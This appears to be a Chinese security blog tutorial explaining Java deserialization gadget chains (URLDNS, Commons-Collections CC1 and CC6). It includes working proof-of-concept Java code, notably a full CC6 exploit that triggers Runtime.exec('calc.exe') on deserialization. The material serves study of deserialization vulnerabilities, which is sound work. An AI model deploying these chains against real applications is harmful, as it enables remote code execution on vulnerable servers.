前言
此文章篇幅不算太长,但是文章过于复杂,我尽量用最简单的语句来让大家明白CC1链和URLDNS链的流程,然后的话可能需要一些代码基础知识才能理解java反序列化,所以初学java的伙伴可以多看几遍,毕竟我是不相信有人看一遍就能理解的(天才除外)。
URLDNS分析
简介
URLDNS链相对于cc1-6来说比较简单并且没有什么JDK版本和第三方依赖条件要求所以相对来说危害比较大的,但是却只能够执行DNS请求,所以危害瞬间没有了,但是我们却可以通过该链发起DNS请求来探测网站是否存在反序列化漏洞,因此还是有作用的(说不定在不就的将来就有大佬能够突破这一条件达到RCE的危害)。
调用链
整体调用链
HashMap->readObject()
HashMap->readObject()->hash()(这里做了回调,其实本质还是调用的HashMap类中的hash())
URL->hashCode()
URLStreamHandler->hashCode()
URLStreamHandler->getHostAddress()
InteAddress->getByName()
为什么需要HashMap类?因为该类实现了Serializable接口并且重写了readObject方法,所以再反序列化时会有限执行HashMap类中的readObject方法
并且readObject方法调用了hash函数
我们跟进hash函数发现该函数接收一个参数类型为对象的key,那么我们这里其实传进hash函数中的对象为URL类,那么在使用hashCode进行处理时其实就是对我们的URL类进行下一步操作。
这里我们可以简单的进行调试分析一下
首先在下图所示处打上断点
debug运行然后点击Alt+Shift+F7进入hash函数查看,图一处能够发现我们的key等于URL,那么我们再次步入其实调用的是URL对象中的HashCode函数
当我们进入URL类中的hashCode函数时发现代码段1进行了判断,如果hashcode值不等于-1就直接返回HashCode值,等于-1则进入代码段2再做处理,我们查看URL类文件中hashCode初始值为-1,因此不会走if语句,然后走handler.hashCode()方法进一步利用
我们进入上图所示第二段代码中,来到URLStreamHandler类中的hashCode方法,我们看到了getHostAddress方法直接跳到361行,发现u变量的值是我们传入的url
再使用Alt+Shift+F7步入该函数,我们看到了最终调用的发起DNS请求的getByName方法
运行最终代码成功执行
CC1分析
实验环境前置条件
JAVA版本:JDK7
commons-collections版本:3.1(MAVEN环境配置或者jar包直接导入)
这里先给出具体调用流程
1.对利用类AnnotationlnvocationHandler进行序列化,然后交给Java程序反序列化
2.在进行反序列化时,会执行AnnotationlnvocationHandler类中重写的readObject()方法,该方法会用setValue对成员变量TransformedMap的Value值进行修改
3.value修改触发了TransformedMap实例化时传入的参数InvokerTransformer的checkSetValue的transform()方法
4.放到Map里面的是InvokeTransformer数组,transform()方法被依次调用
5.InvokerTransformer.transform()方法通过反射,调用Runtime.getRuntime.exec("calc")函数来执行系统命令
InvokerTransformer
首先我们要知道,最终能够调用readobject方法执行恶意代码的类为InvokerTransformer类,我们可以仔细看一下InvokerTransformer类文件,我们看返回值为Object类型的transform方法
第一步:使用getClass获取我们需要加载的恶意类,除了getclass()方法之外,还有Class.forName()方法和String.Class()方法
第二步:使用getMethod方法获取我们指定的恶意类的方法名
第三步:使用invoke反射技术调用我们传入input变量中的类的method遍历中的方法的iArgs参数(听起来有点拗口)
通过上述我们知道InvokerTransformer类为最终的污点,那么我们本地IDEA新建一个文件,先不考虑怎么调用到该类的,我们直接new该类,来看一下最终执行的效果。
import org.apache.commons.collections.functors.InvokerTransformer;
public class ser_test {
public static void main(String[] args) {
InvokerTransformer invokerTransformer = new InvokerTransformer(
"exec",
new Class[]{String.class},
new String[]{"calc.exe"}
);
try {
Object input = Runtime.getRuntime();
invokerTransformer.transform(input);
}catch (Exception e){
e.printStackTrace();
}
}
}
查看,如下图,我们能够我们new了一个InvokerTransformer方法并且传递三个参数,分别为方法名,参数类型,参数值。然后使用建立一个Object类型的变量Runtime.getRuntime(),我们再调用InvokerTransformer类中的transformer方法(这里的transformer方法就是图一中分析的transformer)
我们执行上述代码,计算器成功弹出,说明反序列化漏洞利用成功
通过上述给大家展示的方法只是给大家展示,最终触发的这么一个流程,那么在这其中肯定存在难点。
ChainedTransformer
我这里是自己主动实例化InvokerTransformer类然后调用该类的方法才执行到的最终效果,所以我们需要思考有没有办法或者有没有一个类能够自动去触发InvokerTransformer类中的方法。而刚好通过大牛们的不懈努力找到了ChainedTransformer类。
我们查看ChainedTransformer类中的构造方法和返回Object类型transform方法。
首先看第一段代码,我们实例化ChainedTransformer类时会自动调用ChainedTransformer构造方法,然后通过第二段代码来获取transform数组中的所有类,自动触发调用我们transform数组中的类。所以我们可以new一个ChainedTransformer然后把InvokerTransformer类的东西传给他,ChainedTransformer类就会自动去调用transform方法。
上面说了ChainedTransformer,然后我们现在要说到另一个类ConstantTransformer,该类的作用是获取一个类。具体是什么意思呢?看下图代码
ConstantTransformer
该图是ConstantTransformer类中的代码,那么第一段代码表示当我们new一个ConstantTransformer对象时,会自动调用ConstantTransformer类中的ConstantTransformer构造方法(代码段1中的方法),然后会把我们传入的值赋值给iConstant变量,最后会调用返回值为Object类型的transform方法,把我们传入的值再返回来。那么就等于说,我们传入的是Runtime类,最终经过此方法的调用处理会把Runtime类返回来。
那么我们就可以创建一个Transformer[]数组,把该数组ChainedTransformer类进行调用,该类会把Transformer[]数组中的所有传入的对象都会自动调用,然后运行。
再调用ChainedTransformer中的transform方法,成功弹出计算器。
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
public class ser_test2 {
public static void main(String[] args) {
Transformer[] transformers = new Transformer[]{
//获取Runtime类对象
new ConstantTransformer(Runtime.class),
//传入Runtime类对象 反射执行getMethod获取getRuntime方法
new InvokerTransformer(
"getMethod", //指定方法名
new Class[]{String.class,Class[].class}, //指定参数类型
new Object[]{"getRuntime",new Class[0]} //指定参数
),
//传入getRuntime方法 反射执行invoke方法 得到Runtime实例
new InvokerTransformer(
"invoke",
new Class[]{String.class,Class[].class},
new Object[]{null,null}
),
//传入Runtime实例 执行exec方法
new InvokerTransformer(
"exec",
new Class[]{String.class},
new Object[]{"calc.exe"}
)
};
// ChainedTransformer
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
ChainedTransformer.transform(null);
}
}
通过上述代码我们能够知道,通过数组传入我们实例化类然后实例化类自动进行调用。这么看代码其实不是很复杂,只涉及到了三个类,那么我们我们需要思考
ChainedTransformer.transform(null)方法是用于ChainedTransformer获取到数组的类然后使用该方法进行自动调用,但是该段代码我们并不能保证transform方法自动触发,因此我们还需要寻找一个类保证反序列化数据能够自动触发。所以下一个类
TransformedMap
了解这个类之前,我们需要了解一下Map是什么,map是键值对,Key:Value形式。但是TransformedMap的Key和Value却是不一样的,TransformedMap的key是transformer对象,value也是transformer对象,那么既然接收transformer对象,那么还能够接收transformer对象的子类,那上述所说的ChainedTransformer,InvokerTransformer和ConstantTransformer对象都可以被TransformedMap接收。
那么我们回归问题本身,我们的目的是需要自动触发transform方法,那么TransformedMap类能够满足我们这一条件,那么TransformedMap类是怎么能够触发transform方法呢?往下看
checkSetValue方法
那么只要TransformedMap类中的checkSetValue方法执行了,那么就会把我们传给TransformedMap类中的键值对对象的transform方法执行
return this.valueTransformer.transform(value);
那什么时候会执行checkSetValue方法,在TransformedMap类继承的抽象类AbstractInputCheckedMapDecorator中的MapEntry中的setValue方法调用了checkSetValue方法
setValue方法只有在元素增加,删除,修改的时候才会被触发,所以我们需要找一个对象在反序列化时给TransformedMap对象赋值或者删除修改时会调用setValue方法。
AnnotationInvocationHandler
那么又有大牛们通过不懈的努力找到了AnnotationInvocationHandler对象,重写了readObject方法并且在361行调用了setvalue方法
到这里其实整个CC1链的攻击流程就大概了解
我们通过上述分析能够知道该函数或者该类为什么会成为CC1链组成的一部分,这里给出分析,那么大家把这四个类了解透彻渐渐的脑子里面就清晰起来了。
如果大家对于细节或者其他你不理解的可参考如下两篇文章,细节很多。
https://xz.aliyun.com/t/12715
https://xz.aliyun.com/t/7031
CC6分析
简介:
通过上面我们介绍了URLDNS链,通过该链的简单学习大概了解了反序列化的一些知识,后面我们又学习了CC1链,CC1链作为一条比较经典的链,学习价值是比较高的,但是也存在缺陷,在Java 8u71以后,这个利⽤链不能再利⽤了,主要原因是sun.reflect.annotation.AnnotationInvocationHandler#readObject 的逻辑变化了,重构了readObject方法。所以为了解决高版本JDK无法利用的缺陷,CC6链就随之出来了,CC6相对于是比较通用的链,很好解决了决高版本Java的利⽤问题。
LazyMap#get
我们通过CC1链可知调用的过程如下
AnnotationInvocationHandler#readObject
TransformedMap#checkSetValue
ChainedTransformer#transformer
通过上述讲解我们知道AnnotationInvocationHandler#readObject已经重构,无法满足条件,因此需要另一条链来调用ChainedTransformer#transformer方法来达到条件要求。
因此我们发现LazyMap#get方法满足该条件
如下图LazyMap#get方法调用了transformer方法,而factory是一个Transformer类型的变量,因此满足我们的要求,所以如果factory可控并且赋值为ChainedTransformer类,那么就达到了调用ChainedTransformer#transformer方法的这一要求。
TiedMapEntry
我们现在已知LazyMap#get方法是我们的主要入口,现在我们需要知道是否有其他的类调用了LazyMap#get方法,而TiedMapEntry#getValue方法调用了get方法,并且TiedMapEntry#hashCode方法调用了getValue方法。
HashMap
我们先看一下ysoserial的CC6利用链:
Gadget chain:
java.io.ObjectInputStream.readObject()
java.util.HashSet.readObject()
java.util.HashMap.put()
java.util.HashMap.hash()
org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()
org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
org.apache.commons.collections.map.LazyMap.get()
org.apache.commons.collections.functors.ChainedTransformer.transform()
org.apache.commons.collections.functors.InvokerTransformer.transform()
java.lang.reflect.Method.invoke()
java.lang.Runtime.exec()
通过上述ysoserial给出的利用链,可以发现TiedMapEntry.hashCode()方法是通过HashSet.readObject()方法去调用HashMap.put()&hash()方法最终调用的。那这里通过参考P神的文章,我们可以直接通过HashMap#readObject方法中调用HashMap#hash方法从而构造成完整利用链,去掉了前面的HashMap.put()&HashMap.hash()调用。所以最终的Gadget chain如下:
Gadget chain:
java.io.ObjectInputStream.readObject()
java.util.HashMap.readObject()
java.util.HashMap.hash()
org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()
org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
org.apache.commons.collections.map.LazyMap.get()
org.apache.commons.collections.functors.ChainedTransformer.transform()
org.apache.commons.collections.functors.InvokerTransformer.transform()
java.lang.reflect.Method.invoke()
java.lang.Runtime.exec()
那么我们再来看HashMap#readObject方法,调用了hash(key)方法
双击hash,Ctrl+B跟进hash函数,我们发现hash方法调用了key.hashCode方法,那么我们使key为TiedMapEntry类,即可完成构造链。
参考P神的POC
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
public class CC6 {
public static void main(String[] args) throws Exception {
Transformer[] fakeTransformers = new Transformer[] {new ConstantTransformer(1)};
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] { Object.class,Object[].class }, new Object[] { null, new Object[0] }),
new InvokerTransformer("exec", new Class[] { String.class },new String[] { "calc.exe" }),
new ConstantTransformer(1),
};
//防止本地本地调试时触发,因此先生成一个假对象。
Transformer transformerChain = new ChainedTransformer(fakeTransformers);
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, transformerChain);
TiedMapEntry tme = new TiedMapEntry(outerMap, "keykey");
Map expMap = new HashMap();
expMap.put(tme, "valuevalue");
//LazyMap#get方法中的if判断语句key必须为空才能进入if语句,因此需要删除前面的key值
outerMap.remove("keykey");
Field f =
ChainedTransformer.class.getDeclaredField("iTransformers");
f.setAccessible(true);
f.set(transformerChain, transformers);
//序列化
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(expMap);
oos.close();
//本地反序列化触发
System.out.println(barr);
ObjectInputStream ois = new ObjectInputStream(new
ByteArrayInputStream(barr.toByteArray()));
Object o = (Object)ois.readObject();
}
}
运行上述POC成功弹出计算器,而且我使用的是JDK11版本,也能成功执行RCE,说明该链通用性很好。
总结
urldns我觉得是最简单的,初学者比较好学,也不会存在什么JDK版本,依赖等问题,然后CC1比较经典,我相信大部分学习java反序列化的同学都是接触过CC1的,但是CC1链局限性太大,已经无法满足一些条件了,所以就有了CC2,CC3什么的,直到CC6的时候解决了JDK高版本限制,可以很好的解决版本兼容性等问题,因此学习价值也是比较大的。但是学习难度也是很大的,其实挺多的细节我都没有在文章里体现,就是为了刚初学这个的同学能够简单了解反序列化的一个基本轮廓,到后面慢慢的再去深度研究也是可以,最后,如果文章内容有错误希望大佬能够指出。
4A评测 - 免责申明
本站提供的一切软件、教程和内容信息仅限用于学习和研究目的。
不得将上述内容用于商业或者非法用途,否则一切后果请用户自负。
本站信息来自网络,版权争议与本站无关。您必须在下载后的24个小时之内,从您的电脑或手机中彻底删除上述内容。
如果您喜欢该程序,请支持正版,购买注册,得到更好的正版服务。如有侵权请邮件与我们联系处理。敬请谅解!
程序来源网络,不确保不包含木马病毒等危险内容,请在确保安全的情况下或使用虚拟机使用。
侵权违规投诉邮箱:4ablog168#gmail.com(#换成@)